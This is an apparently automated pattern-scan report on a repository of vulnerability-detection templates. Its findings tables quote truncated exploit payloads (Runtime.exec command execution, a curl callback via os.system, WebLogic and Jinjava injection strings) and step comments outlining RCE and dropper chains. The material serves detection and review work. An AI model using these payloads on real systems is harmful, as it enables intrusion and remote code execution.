1.2

Adjusted Signal

1.2

Raw Pattern Score

100%

Time Factor

2026-10-31

Last Push

13.3K

Stars

JavaScript

Language

858.8K

Lines of Code

14.5K

Files

753

Pattern Hits

2026-10-31

Scan Date

0.00

HC Hit Rate

Risk Review · Payload v1

Use each vector to guide manual verification of the underlying findings.

Payload schema: 1.0.0 · Engine: 2.0.0 · Scoring: heuristic-density-v1 · Scan date: 2026-10-31.

Cognitive Ownership Risk 4.3/100 · LOW

Can maintainers explain intent, assumptions, and trade-offs? 671 finding(s).

Hallucinated Dependency & Supply Chain Risk 1.2/100 · LOW

Are imports declared and package/API names verified? 37 finding(s).

Agent Over-Engineering Ratio 0.4/100 · LOW

Are wrappers, guards, and repeated structures necessary? 51 finding(s).

PR Review Velocity Impact 5.6/100 · LOW

Which changes need focused human review? 753 finding(s).

What These Metrics Mean

Adjusted Signal: Legacy pattern score normalized per 1,000 scanned lines and multiplied by the repository-level time factor. It is not an estimate of AI authorship.
Raw Pattern Score: Sum of severity- and context-weighted pattern findings before applying the time factor.
Time Factor: A coarse multiplier based on repository last-push metadata. It does not identify when individual code was written.
Pattern Hits: Count of configured pattern findings. Review each location and surrounding code before acting.
HC Hit Rate: High- and critical-severity findings per scanned file. Severity is a configured detector weight, not proof of a vulnerability or authorship.
Lines / Files: Scan coverage denominators used by the legacy normalized score.

Pattern-Signal History

This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.

Severity Breakdown

Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.

CRITICAL 19HIGH 2MEDIUM 26LOW 706

Directory Score Breakdown

This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.

Pattern Findings

The scanner identified 753 distinct pattern matches across 13 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.

Over-Commented Block557 hits · 557 pts

Severity	File	Line	Snippet	Context
LOW	file/nodejs/admzip-path-overwrite.yaml	21	# digest: 490a00463044022061517677a0b41a2048a4ca951bba30d615fe02b7791d2e1a33d1f771f6f4da6f02204501001dfc2023b6991ba087ac	COMMENT
LOW	file/malware/linux-billgates-malware.yaml	21	# digest: 490a004630440220184c397c7fd836ea859b4d2a559c5b4e4b7323d74457b54e1425d550bb8f9b3102202d6c8f5248559f1cf6516b1954	COMMENT
LOW	file/malware/linux-elknot-malware.yaml	21	# digest: 4b0a00483046022100c734a4af006f818bc037684ff4e8e50ad8158ded1ddb0ae486c9ecea65468dcd0221008dccff81b7f3c764ebe273	COMMENT
LOW	file/malware/linux-mrblack-malware.yaml	21	# digest: 4a0a00473045022100e33c5be30571d2e839165e054cda2e79a2d87dc28285530c5fab366fdb2a7a9a0220243c5d77c7710a005371cb28	COMMENT
LOW	file/malware/powerware-malware.yaml	21	# digest: 4b0a0048304602210099ced653db22ecf65b1d4b8e105184c008e8b8c456b3cb1d3ac4ceb007b164ea02210080f8bbf9349523226c46b2	COMMENT
LOW	file/malware/genome-malware.yaml	21	# digest: 490a0046304402203885c1e1fea58815fb62065dd769049fdd748e0b25fcce78990173dfaf964b28022010f716e17f0aefd8101aca28f9	COMMENT
LOW	file/malware/cerber-malware.yaml	21	# digest: 490a0046304402206e71cd3a48736a66f5e8b1d7e443705bdabdaff67e236381606825cfe80e085502207deb258e8a2bcc1fadbe4db78e	COMMENT
LOW	file/malware/backoff-malware.yaml	21	# digest: 490a0046304402203be42bb6e2c6a9da7f40bc606243c208e54aecd65f0111c040fd1ded4b86688b022030f1d6bbdfdc558f7ab0ee0ac5	COMMENT
LOW	file/malware/linux-tsunami-malware.yaml	21	# digest: 4a0a00473045022030b2c32323237e320255f092a6a9bffb534a060af91d09bfb2786b2fa7aa6580022100a01e4ac473c910cd45167c9f	COMMENT
LOW	file/malware/alina-malware.yaml	21	# digest: 4a0a00473045022100c78a826afc54c6d9c0160502c72c5675fb24eaaea70c2e9945b7a94734321aee022079b875270352e32cb1412365	COMMENT
LOW	file/malware/hash/bluetermite-emdivi-sfx-hash.yaml	21	# digest: 4b0a00483046022100c3951dfa51d81f15562dfc7ef7e1497fa05b5213c180f176f881ea810893180e022100aebc7f5996bd826ebad5aa	COMMENT
LOW	file/malware/hash/neuron2-malware-hash.yaml	21	# digest: 4a0a00473045022057a3cc9016ee089610bcc5af109d9dbaf0bde60bc5fdfdb057ffd3e4bae1455d022100f1bbca254ab98e605b988949	COMMENT
LOW	…/malware/hash/ironpanda-dnstunclient-malware-hash.yaml	21	# digest: 4a0a00473045022100d7ab00733ccf321352d7a3e46fd6e5767d90c417f23272272cee2b55530c112102203ab101444e91c1161c2322b6	COMMENT
LOW	file/malware/hash/rokrat-malware-hash.yaml	21	# digest: 4b0a00483046022100ada9ced2dcd53e3a02f97b0edfbf8a37251c835f792b65df53d65eb2e6561f1102210088142fd7a1a621177759a9	COMMENT
LOW	file/malware/hash/blackenergy-vbs-malware-hash.yaml	21	# digest: 4a0a00473045022002c76751e5ad566cb8413c023da8be49add7c2ae10cf0bd813bbef9df4e4653c022100c702b2bf659b7b6b394d0e3d	COMMENT
LOW	file/malware/hash/ironPanda-htran-malware-hash.yaml	21	# digest: 490a0046304402206abb355203e7a99d65a1e59fce6d6af343c71e971ce80b1ee29b1dc5643099a00220794c4b795c756b64b19e054718	COMMENT
LOW	file/malware/hash/sofacy-Winexe-malware-hash.yaml	21	# digest: 4a0a00473045022008dcf54a9d49c8cf96f45b7dd7f2bf24111fdb47bd90b009ca4d56ca7e74a30d022100e0d6ca405635d596d4e13e31	COMMENT
LOW	file/malware/hash/red-leaves-malware-hash.yaml	21	# digest: 490a00463044022033af3784098a74644e2dc58f04dd4d8d73c8033f94de00612205abccd3ca990902201f191afd7b60b1819756f6c0c0	COMMENT
LOW	file/malware/hash/locky-ransomware-hash.yaml	21	# digest: 4a0a0047304502206640dae42866d0e1f2b4cc08c9d50c9f16f06ead5f0fbaf4833a9002092be713022100f4ed1b00e32d8237ca1f1eda	COMMENT
LOW	file/malware/hash/passcv-signingcert-malware-hash.yaml	21	# digest: 4b0a00483046022100a770da1fd60f418f273cc937ac584fd19dbeb7b38324053c69c0c8d157ba87fb022100a69eef6ed853f0df982360	COMMENT
LOW	file/android/certificate-validation.yaml	21	# digest: 4a0a0047304502203a5b4da3f1e3509a4b87979b577ff32582a0e97a8592efd9da2249787b69766f022100a143c64fd79c5b864de39f00	COMMENT
LOW	file/android/dynamic-broadcast-receiver.yaml	21	# digest: 4a0a0047304502201d6d9d91f3bf0688b2e197b1e65e99ed215402020c93a41ee1d50f60a8017bca022100c90751e3ca81c6660254c7aa	COMMENT
LOW	file/android/file-scheme.yaml	21		COMMENT
LOW	file/android/content-scheme.yaml	21	# digest: 490a004630440220024969d745e24011a0317f218f188bb52dd98791fee366406c8b32120306c44502201a5594ea0237b46b7d8008814b	COMMENT
LOW	file/android/webview-universal-access.yaml	21	# digest: 4a0a004730450220244279d551ed3d6c7866e2cda38b56b84243b747d999aeeb5c461bca9abfc494022100eacf68ac27db623c24f07c1a	COMMENT
LOW	file/android/webview-load-url.yaml	21		COMMENT
LOW	file/android/webview-javascript.yaml	21	# digest: 4a0a0047304502203cdc416a537e7de6c000b408745102d25b14a776ee40ee722b884cca8db77570022100fc980c5288f4bf6e9b306806	COMMENT
LOW	file/android/webview-addjavascript-interface.yaml	21		COMMENT
LOW	file/keys/credential-exposure-file.yaml	1	id: credentials-disclosure-file	COMMENT
LOW	file/keys/cloudinary.yaml	21		COMMENT
LOW	file/keys/credentials.yaml	21	# digest: 4a0a00473045022100ed45636930eea463c9a324e1560f6b99c93be5752fa24a0f8043fb766c8264df022014c96d397124545cef351ead	COMMENT
LOW	file/keys/sauce-access-token.yaml	21	# digest: 490a0046304402205417b26b39c6d675c9a9ec4076d20265bf72ee71c8d4e0709c0c27ddfc24a70f022013c0639360eef3e6018835f3f2	COMMENT
LOW	file/keys/dynatrace-token.yaml	21		COMMENT
LOW	file/keys/google/google-clientid.yaml	21	# digest: 490a004630440220787ce359623a444b8176ec5d794c8ea393b8848d2a3a8d9b60f6067f5fbdb5730220353b6961a1531dde14cfd1433f	COMMENT
LOW	file/keys/google/google-oauth-clientsecret.yaml	21	# digest: 490a00463044022032cc7a362b0fc8d5ae569b6817c209aaeb80bc3d44a78ff006d9fbc43bd0380502205c9def4766491f7b627ced96ef	COMMENT
LOW	file/electron/node-integration-enabled.yaml	21	# digest: 4a0a00473045022074f2ab6fd9101377f1652a7f843122204eb287fde08fb7e1a0e40290b921801f022100f8150b68cef266ec7a07d754	COMMENT
LOW	network/exposures/checkmk-info-disclosure.yaml	41	# digest: 490a0046304402203d93c8bc3581136a2a7e3435e98426f31f75fe5ad9f6ed5d9cfed6ba6af9db5b02201be8e4837c675880a8f2e8b619	COMMENT
LOW	network/enumeration/smtp/smtp-user-enum.yaml	41	# digest: 490a004630440220314d97a1538349418f1c1f44eb1cebfb049d692e8ade1c2795a1a67c47a4dd960220028f035b5d52a220cbe526fcf2	COMMENT
LOW	…cs/schneider-modicon/schneider-modicon-340-detect.yaml	41	# digest: 490a004630440220341faaf27672a587bffde3073f992432bbc821dfc29d59fc3766eb3333ecf30702204eb3c2d0214518df1dfb730acd	COMMENT
LOW	…n/ics/allen-bradley/allen-bradley-guardplc-detect.yaml	41	# digest: 490a0046304402207a9d66eda7852d3f8547635c45824914c84daf544d662e997116b7cbe61135950220091d77d10a2dd2596902725e04	COMMENT
LOW	network/cves/2023/CVE-2023-33246.yaml	61	# digest: 4a0a00473045022100fab82fe64f6ef7f45576c16992c22f60eadacb15275a54b64cd4bedd77469e8802202ebcc93a27307366767143ac	COMMENT
LOW	network/cves/2019/CVE-2019-5544.yaml	81	# digest: 4a0a0047304502202d2732db232a4b3f25750ac273c67fa3e082c47e92e0d23ade25f00eb8b50d1e022100af351438c6fdca56892c69f9	COMMENT
LOW	network/cves/2020/CVE-2020-9274.yaml	61	# digest: 4a0a004730450220541d21af059de56d2e9daf3d174a3f1216ae5dd1967133c301a4cde7f3a14b2f0221008b6d71f0798d6cc976cb57e1	COMMENT
LOW	network/cves/2011/CVE-2011-0762.yaml	61	# digest: 4a0a00473045022100add23882e52fba3554521564f6a267f0d38a727d9521009d227cbe4721cbfd200220745b7afad0e0f8ffcd76e3c0	COMMENT
LOW	code/linux/audit/ssh-gssapiauthentication-disabled.yaml	61	# digest: 490a0046304402203ea0832a8c4b917fb2679f7ad2ab9487115c54adfcff441be71dbb40d59da13a02201683771b631252e5015bae4fbe	COMMENT
LOW	code/cves/2024/CVE-2024-10443.yaml	61	# digest: 4a0a004730450220434ec0f9237150bf38e5cd6c9c4f9ee4bf91d22e81396b69c3672aee6bd6c7a9022100da9e91ed8bdc2e3ec97e16e5	COMMENT
LOW	code/cves/2020/CVE-2020-13935.yaml	181	}	COMMENT
LOW	http/credential-stuffing/cloud/gitea-login-check.yaml	41	# digest: 4a0a00473045022100a81bf6c726ec7924b245a9163fc205edf54d09ff7f6f0ab7fd5c8a1a238968470220220cd6cd6aef5b9499ff83b7	COMMENT
LOW	http/technologies/geth-server-detect.yaml	41	# digest: 4b0a00483046022100e8be33d56f52d9817da0794a1fa35380156824d4929441d64b03c4c20329cacb022100b15fd470d4715d21a41b71	COMMENT
LOW	http/technologies/tyk-gateway-detect.yaml	41	# digest: 4a0a004730450220507c421ba38e391b181ac3ba0491f48abd5d249c0018b6fd987afb7705de60bb0221008e10a4e4a65a252f482d35d1	COMMENT
LOW	http/technologies/citrix-hypervisor-page.yaml	41	# digest: 490a00463044022000c87f8c0f649a427599b10c96379ff9c3045f8e786aef1d1577ef7ed326388f022076522d2d4f03205a9f143b6b47	COMMENT
LOW	http/technologies/pbootcms-detect.yaml	41	# digest: 4a0a004730450220378f37a85e77b1e829761e09d1845e3df7d8cd8e2e58f3235ec36d15e8421a25022100ce5e5f54b40998e318ee8ad3	COMMENT
LOW	http/technologies/runtipi-detect.yaml	61	# digest: 4b0a00483046022100c8db3eb006aa9d49fbdfbd057d91049c81ff0873d52175211f9d1662c12bdb8d0221008e10303f420050642c7575	COMMENT
LOW	http/technologies/llamacpp-detect.yaml	41	# digest: 4b0a00483046022100d251dc3ced29f03682258ba8083d111a0d5e886ac162f83854fe69d64befe28c022100f5140cddf8faab2f109a45	COMMENT
LOW	http/technologies/yeswiki-detect.yaml	41	# digest: 4b0a00483046022100de15cb9442febbc5205d06ea0616e01d0df70f5632f334c3afc816d742a699ec022100ecf9944b06791440a32a0a	COMMENT
LOW	http/technologies/bigip-config-utility-detect.yaml	41	# digest: 490a00463044022027462e21bb7b71f15bac073ec5ebabf9ba8b0ae2e7e0cbbddf6cdaea72973e1b022075616aab34c08f3c0ce49ed0bb	COMMENT
LOW	http/technologies/traggo-server-detect.yaml	41	# digest: 4a0a004730450220691cd0e1df99ca2d14e412cdd4a1427962300a7a7a73bb6ccfe5299faa632211022100bb15f0796577c30abb42e316	COMMENT
LOW	http/technologies/3dprinteros-client-detect.yaml	41	# digest: 4a0a0047304502202c8074c8ce3d3685174bb9d56244c81c2a350c57cd48938a8da471c025509ed70221008720c42c91e7df35fff7a708	COMMENT
LOW	http/technologies/cryptpad-detect.yaml	41	# digest: 4a0a00473045022075d85c8e6e32720cdcaeda7a7ceb893cf9daa28814a9820ea21b31c996b79d5d022100de618fcf9bcf90327a65fe9b	COMMENT
LOW	http/technologies/versa-flexvnf-server.yaml	41	# digest: 4b0a00483046022100a602587c66de95351f17ac65b688c84b3b41c5ae80ae0f49b3d8cef6e7b461c2022100e71e5b5366b28f28675583	COMMENT
497 more matches not shown…

Hallucination Indicators19 hits · 190 pts

Severity	File	Line	Snippet	Context
CRITICAL	http/cnvd/2023/CNVD-C-2023-76801.yaml	44	cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ipconfig").getInputStream())	CODE
CRITICAL	http/cves/2022/CVE-2022-38130.yaml	8	The com.keysight.tentacle.config.ResourceManager.smsRestoreDatabaseZip() method is used to restore the HSQLDB databa	CODE
CRITICAL	http/cves/2024/CVE-2024-3408.yaml	132	GET /dtale/test-filter/{{data_id}}?query=%40pd.core.frame.com.builtins.__import__(%27os%27).system(%27curl+{{int	CODE
CRITICAL	http/cves/2024/CVE-2024-0799.yaml	8	An authentication bypass vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in the edge-app-base-w	CODE
CRITICAL	http/cves/2020/CVE-2020-14750.yaml	51	_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeT	CODE
CRITICAL	http/cves/2020/CVE-2020-14883.yaml	52	test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.	CODE
CRITICAL	http/cves/2020/CVE-2020-14882.yaml	40	- "{{BaseURL}}/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.	CODE
CRITICAL	…/kubernetes/deployments/k8s-memory-limits-not-set.yaml	38	if (!deployment.spec.template.spec.containers.some(container => container.resources && container.resources.limit	CODE
CRITICAL	…ubernetes/deployments/k8s-memory-requests-not-set.yaml	38	if (!deployment.spec.template.spec.containers.some(container => container.resources && container.resources.reque	CODE
CRITICAL	…ud/kubernetes/deployments/k8s-seccomp-profile-set.yaml	39	deployment.spec.template.spec.containers.forEach(container => {	CODE
CRITICAL	…ud/kubernetes/deployments/k8s-image-tag-not-fixed.yaml	40	deployment.spec.template.spec.containers.forEach(container => {	CODE
CRITICAL	…ubernetes/deployments/k8s-readiness-probe-not-set.yaml	39	if (!deployment.spec.template.spec.containers.some(container => container.readinessProbe)) {	CODE
CRITICAL	…bernetes/deployments/k8s-image-pull-policy-always.yaml	39	if (!deployment.spec.template.spec.containers.every(container => container.imagePullPolicy === 'Always')) {	CODE
CRITICAL	…tes/deployments/k8s-liveness-probe-not-configured.yaml	38	if (!deployment.spec.template.spec.containers.some(container => container.livenessProbe)) {	CODE
CRITICAL	…d/kubernetes/deployments/k8s-cpu-requests-not-set.yaml	40	if (!deployment.spec.template.spec.containers.some(container => container.resources && container.resources.reque	CODE
CRITICAL	…oud/kubernetes/deployments/k8s-cpu-limits-not-set.yaml	40	if (!deployment.spec.template.spec.containers.some(container => container.resources && container.resources.limit	CODE
CRITICAL	…bernetes/deployments/k8s-root-container-admission.yaml	39	if (deployment.spec.template.spec.containers.some(container => container.securityContext && container.securityCo	CODE
CRITICAL	dast/vulnerabilities/ssti/oob/jinjava-oob.yaml	24	- "{{%27a%27.getClass().forName(%27javax.script.ScriptEngineManager%27).newInstance().getEngineByName(%27JavaScr	CODE
CRITICAL	dast/vulnerabilities/ssti/oob/jinjava-oob.yaml	25	- "{{%27a%27.getClass().forName(%27javax.script.ScriptEngineManager%27).newInstance().getEngineByName(%27JavaScr	CODE

Verbosity Indicators33 hits · 60 pts

Severity	File	Line	Snippet	Context
LOW	network/cves/2019/CVE-2019-5544.yaml	44	# Step 1: Verify OpenSLP is actually running by sending a valid SLP ServiceType request	COMMENT
LOW⚡	network/cves/2019/CVE-2019-5544.yaml	59	# Step 2: Send heap overflow payload to crash OpenSLP	COMMENT
LOW⚡	network/cves/2019/CVE-2019-5544.yaml	68	# Step 3: Re-query OpenSLP — if the service crashed, we get no response	COMMENT
LOW⚡	code/cves/2022/CVE-2022-42475.yaml	260	# Step 1: Pre-flight connectivity check	COMMENT
LOW⚡	code/cves/2022/CVE-2022-42475.yaml	266	# Step 2: Vulnerability check with false positive prevention	COMMENT
LOW	code/cves/2025/CVE-2025-22457.yaml	114	# Step 1: Pre-check - must be reachable, return 200, and be Ivanti	COMMENT
LOW	code/cves/2025/CVE-2025-22457.yaml	125	# Step 2: Send crash payload - POST with oversized X-Forwarded-For	COMMENT
LOW	code/cves/2025/CVE-2025-22457.yaml	142	# Step 3: Follow-up check - server should recover and return 200	COMMENT
LOW⚡	code/cves/2026/CVE-2026-8467.yaml	54	# Step 1: Fetch storybook page	COMMENT
LOW⚡	code/cves/2026/CVE-2026-8467.yaml	69	# Step 2: Extract tokens	COMMENT
LOW	code/cves/2026/CVE-2026-8467.yaml	90	# Step 3: Raw WebSocket connection (NO Origin header - bypasses Phoenix check_origin)	COMMENT
LOW	code/cves/2026/CVE-2026-8467.yaml	166	# Step 4: Join parent LiveView	COMMENT
LOW	code/cves/2026/CVE-2026-8467.yaml	208	# Step 5: Join child LiveView	COMMENT
LOW⚡	code/cves/2026/CVE-2026-8467.yaml	232	# Step 6: Send RCE payload	COMMENT
LOW⚡	code/cves/2026/CVE-2026-8467.yaml	238	# Step 7: Parse output	COMMENT
LOW	code/cves/2016/CVE-2016-9299.yaml	54	# Step 1: Send the download request without waiting for a response or closing the socket	COMMENT
LOW	code/cves/2016/CVE-2016-9299.yaml	74	# Step 2: Send the upload request	COMMENT
LOW⚡	code/cves/2016/CVE-2016-9299.yaml	104	# Step 3: After upload request, read the download request's response	COMMENT
LOW⚡	code/cves/2016/CVE-2016-9299.yaml	114	# Step 1: Send download request (don't wait for response, keep the socket open)	COMMENT
LOW⚡	code/cves/2016/CVE-2016-9299.yaml	117	# Step 2: Send upload request	COMMENT
LOW	http/cves/2025/CVE-2025-57819.yaml	51	# Step 1: SQL Injection Detection in brand parameter	COMMENT
LOW	http/cves/2025/CVE-2025-57819.yaml	73	# Step 2: RCE Exploitation - Create cron job with self-deleting PHP payload	COMMENT
LOW	http/cves/2026/CVE-2026-63030.yaml	40	# Step 1: Confirm the target is a WordPress site before probing the batch endpoint	COMMENT
LOW	http/cves/2026/CVE-2026-63030.yaml	51	# Step 2: Safe route-confusion detection (no SQL execution, no timing oracle)	COMMENT
LOW	http/cves/2019/CVE-2019-7194.yaml	52	# Step 1: Set up a fake album slideshow to obtain a usable album_id	COMMENT
LOW	http/cves/2019/CVE-2019-7194.yaml	69	# Step 2: Use album_id to get access_code and PHPSESSID from slideshow.php	COMMENT
LOW	http/cves/2019/CVE-2019-7194.yaml	91	# Step 3: Use directory traversal to extract application token (app_token)	COMMENT
LOW	http/cves/2019/CVE-2019-7194.yaml	108	# Step 4: Authenticate using the app_token to get NAS_SID	COMMENT
LOW⚡	http/cves/2019/CVE-2019-7194.yaml	126	# Step 5: Inject self-deleting PHP payload via SMTP config	COMMENT
LOW⚡	http/cves/2019/CVE-2019-7194.yaml	136	# Step 6: Trigger slideshow with QMS_SID pointing to dropper path	COMMENT
LOW⚡	http/cves/2019/CVE-2019-7194.yaml	143	# Step 7: Execute the dropper (which deletes the file via unlink after poc request)	COMMENT
LOW	javascript/cves/2026/CVE-2026-1731.yaml	64	// Step 1: WebSocket upgrade handshake	COMMENT
LOW	javascript/cves/2026/CVE-2026-1731.yaml	80	// Step 2: Build binary WebSocket frame with command injection payload	COMMENT

Structural Annotation Overuse33 hits · 60 pts

Severity	File	Line	Snippet	Context
LOW	network/cves/2019/CVE-2019-5544.yaml	44	# Step 1: Verify OpenSLP is actually running by sending a valid SLP ServiceType request	COMMENT
LOW⚡	network/cves/2019/CVE-2019-5544.yaml	59	# Step 2: Send heap overflow payload to crash OpenSLP	COMMENT
LOW⚡	network/cves/2019/CVE-2019-5544.yaml	68	# Step 3: Re-query OpenSLP — if the service crashed, we get no response	COMMENT
LOW⚡	code/cves/2022/CVE-2022-42475.yaml	260	# Step 1: Pre-flight connectivity check	COMMENT
LOW⚡	code/cves/2022/CVE-2022-42475.yaml	266	# Step 2: Vulnerability check with false positive prevention	COMMENT
LOW	code/cves/2025/CVE-2025-22457.yaml	114	# Step 1: Pre-check - must be reachable, return 200, and be Ivanti	COMMENT
LOW	code/cves/2025/CVE-2025-22457.yaml	125	# Step 2: Send crash payload - POST with oversized X-Forwarded-For	COMMENT
LOW	code/cves/2025/CVE-2025-22457.yaml	142	# Step 3: Follow-up check - server should recover and return 200	COMMENT
LOW⚡	code/cves/2026/CVE-2026-8467.yaml	54	# Step 1: Fetch storybook page	COMMENT
LOW⚡	code/cves/2026/CVE-2026-8467.yaml	69	# Step 2: Extract tokens	COMMENT
LOW	code/cves/2026/CVE-2026-8467.yaml	90	# Step 3: Raw WebSocket connection (NO Origin header - bypasses Phoenix check_origin)	COMMENT
LOW	code/cves/2026/CVE-2026-8467.yaml	166	# Step 4: Join parent LiveView	COMMENT
LOW	code/cves/2026/CVE-2026-8467.yaml	208	# Step 5: Join child LiveView	COMMENT
LOW⚡	code/cves/2026/CVE-2026-8467.yaml	232	# Step 6: Send RCE payload	COMMENT
LOW⚡	code/cves/2026/CVE-2026-8467.yaml	238	# Step 7: Parse output	COMMENT
LOW	code/cves/2016/CVE-2016-9299.yaml	54	# Step 1: Send the download request without waiting for a response or closing the socket	COMMENT
LOW	code/cves/2016/CVE-2016-9299.yaml	74	# Step 2: Send the upload request	COMMENT
LOW⚡	code/cves/2016/CVE-2016-9299.yaml	104	# Step 3: After upload request, read the download request's response	COMMENT
LOW⚡	code/cves/2016/CVE-2016-9299.yaml	114	# Step 1: Send download request (don't wait for response, keep the socket open)	COMMENT
LOW⚡	code/cves/2016/CVE-2016-9299.yaml	117	# Step 2: Send upload request	COMMENT
LOW	http/cves/2025/CVE-2025-57819.yaml	51	# Step 1: SQL Injection Detection in brand parameter	COMMENT
LOW	http/cves/2025/CVE-2025-57819.yaml	73	# Step 2: RCE Exploitation - Create cron job with self-deleting PHP payload	COMMENT
LOW	http/cves/2026/CVE-2026-63030.yaml	40	# Step 1: Confirm the target is a WordPress site before probing the batch endpoint	COMMENT
LOW	http/cves/2026/CVE-2026-63030.yaml	51	# Step 2: Safe route-confusion detection (no SQL execution, no timing oracle)	COMMENT
LOW	http/cves/2019/CVE-2019-7194.yaml	52	# Step 1: Set up a fake album slideshow to obtain a usable album_id	COMMENT
LOW	http/cves/2019/CVE-2019-7194.yaml	69	# Step 2: Use album_id to get access_code and PHPSESSID from slideshow.php	COMMENT
LOW	http/cves/2019/CVE-2019-7194.yaml	91	# Step 3: Use directory traversal to extract application token (app_token)	COMMENT
LOW	http/cves/2019/CVE-2019-7194.yaml	108	# Step 4: Authenticate using the app_token to get NAS_SID	COMMENT
LOW⚡	http/cves/2019/CVE-2019-7194.yaml	126	# Step 5: Inject self-deleting PHP payload via SMTP config	COMMENT
LOW⚡	http/cves/2019/CVE-2019-7194.yaml	136	# Step 6: Trigger slideshow with QMS_SID pointing to dropper path	COMMENT
LOW⚡	http/cves/2019/CVE-2019-7194.yaml	143	# Step 7: Execute the dropper (which deletes the file via unlink after poc request)	COMMENT
LOW	javascript/cves/2026/CVE-2026-1731.yaml	64	// Step 1: WebSocket upgrade handshake	COMMENT
LOW	javascript/cves/2026/CVE-2026-1731.yaml	80	// Step 2: Build binary WebSocket frame with command injection payload	COMMENT

Excessive Try-Catch Wrapping43 hits · 56 pts

Severity	File	Line	Snippet	Context
LOW	code/windows/enumeration/rdp-ntlm-info.yaml	93	except Exception:	CODE
LOW	code/cves/2022/CVE-2022-42475.yaml	94	except Exception as e:	CODE
LOW	code/cves/2022/CVE-2022-42475.yaml	118	except Exception as e:	CODE
LOW	code/cves/2022/CVE-2022-42475.yaml	166	except Exception as e:	CODE
LOW	code/cves/2025/CVE-2025-32433.yaml	126	except Exception as e:	CODE
LOW	code/cves/2025/CVE-2025-32433.yaml	169	except Exception as e:	CODE
LOW	code/cves/2025/CVE-2025-54309.yaml	84	except Exception as e:	CODE
LOW⚡	code/cves/2025/CVE-2025-54309.yaml	110	except Exception as e:	CODE
LOW	code/cves/2025/CVE-2025-9242.yaml	516	except Exception as e:	CODE
LOW	code/cves/2025/CVE-2025-9242.yaml	538	except Exception as e:	CODE
MEDIUM	code/cves/2025/CVE-2025-9242.yaml	477	def test_connection(ip, port, timeout=20):	CODE
LOW	code/cves/2024/CVE-2024-55556.yaml	128	except Exception:	CODE
LOW⚡	code/cves/2024/CVE-2024-55556.yaml	141	except Exception:	CODE
LOW⚡	code/cves/2024/CVE-2024-55556.yaml	148	except Exception:	CODE
MEDIUM⚡	code/cves/2024/CVE-2024-55556.yaml	149	print("Error decoding base64 values in the cipher data.")	CODE
LOW	code/cves/2024/CVE-2024-56331.yaml	75	except Exception as e:	CODE
LOW	code/cves/2024/CVE-2024-56331.yaml	117	except Exception as err:	CODE
LOW	code/cves/2024/CVE-2024-47575.yaml	68	except Exception as e:	CODE
LOW	code/cves/2024/CVE-2024-47575.yaml	113	except Exception:	CODE
LOW⚡	code/cves/2026/CVE-2026-8467.yaml	61	except Exception as e:	CODE
LOW	code/cves/2026/CVE-2026-8467.yaml	114	except Exception as e:	CODE
LOW⚡	code/cves/2026/CVE-2026-20182.yaml	238	except Exception as e:	CODE
LOW⚡	code/cves/2026/CVE-2026-20182.yaml	246	except Exception:	CODE
LOW⚡	code/cves/2026/CVE-2026-20182.yaml	249	except Exception:	CODE
LOW	.github/scripts/update-kev.py	67	except Exception as e:	CODE
MEDIUM	.github/scripts/update-kev.py	68	print(f"Error reading {file_path}: {e}")	CODE
LOW	.github/scripts/update-kev.py	101	except Exception as e:	CODE
LOW	.github/scripts/update-kev.py	182	except Exception as e:	CODE
LOW	.github/scripts/update-kev.py	298	except Exception as e:	CODE
MEDIUM	.github/scripts/update-kev.py	299	print(f"Error updating {file_path}: {e}")	CODE
LOW	.github/scripts/count-kev-stats.py	28	except Exception as e:	CODE
MEDIUM	.github/scripts/count-kev-stats.py	29	print(f"Error reading {file_path}: {e}", file=sys.stderr)	CODE
LOW	.github/scripts/enhance-cve-fields.py	99	except Exception as e:	CODE
LOW	.github/scripts/assign_tasks.py	100	except Exception as e:	CODE
LOW	.github/scripts/assign_tasks.py	117	except Exception as e:	CODE
LOW	.github/scripts/assign_tasks.py	134	except Exception as e:	CODE
LOW	.github/scripts/update-readme.py	35	except Exception as e:	CODE
MEDIUM	.github/scripts/update-readme.py	36	print(f"Error getting KEV stats: {e}")	CODE
LOW	.github/scripts/update-epss.py	65	except Exception as e:	CODE
MEDIUM	.github/scripts/update-epss.py	66	print(f"Error reading {file_path}: {e}")	CODE
LOW	.github/scripts/update-epss.py	109	except Exception as e:	CODE
LOW	.github/scripts/update-epss.py	196	except Exception as e:	CODE
MEDIUM	.github/scripts/update-epss.py	197	print(f"Error updating {file_path}: {e}")	CODE

AI Slop Vocabulary13 hits · 35 pts

Severity	File	Line	Snippet	Context
MEDIUM	http/osint/phishing/seamless-phish.yaml	10	- https://seamless.com	CODE
MEDIUM	http/cves/2019/CVE-2019-7481.yaml	13	- https://www.crowdstrike.com/blog/how-ecrime-groups-leverage-sonicwall-vulnerability-cve-2019-7481/	CODE
MEDIUM	http/cves/2021/CVE-2021-39165.yaml	8	Cachet is an open source status page. With Cachet prior to and including 2.3.18, there is a SQL injection which is i	CODE
MEDIUM	http/cves/2021/CVE-2021-27850.yaml	15	- https://lists.apache.org/thread.html/r237ff7f286bda31682c254550c1ebf92b0ec61329b32fbeb2d1c8751%40%3Cusers.tapestry	CODE
MEDIUM	profiles/windows-audit.yml	9	# This configuration references specific templates tagged with 'windows-audit' to cover comprehensive scanning of Window	COMMENT
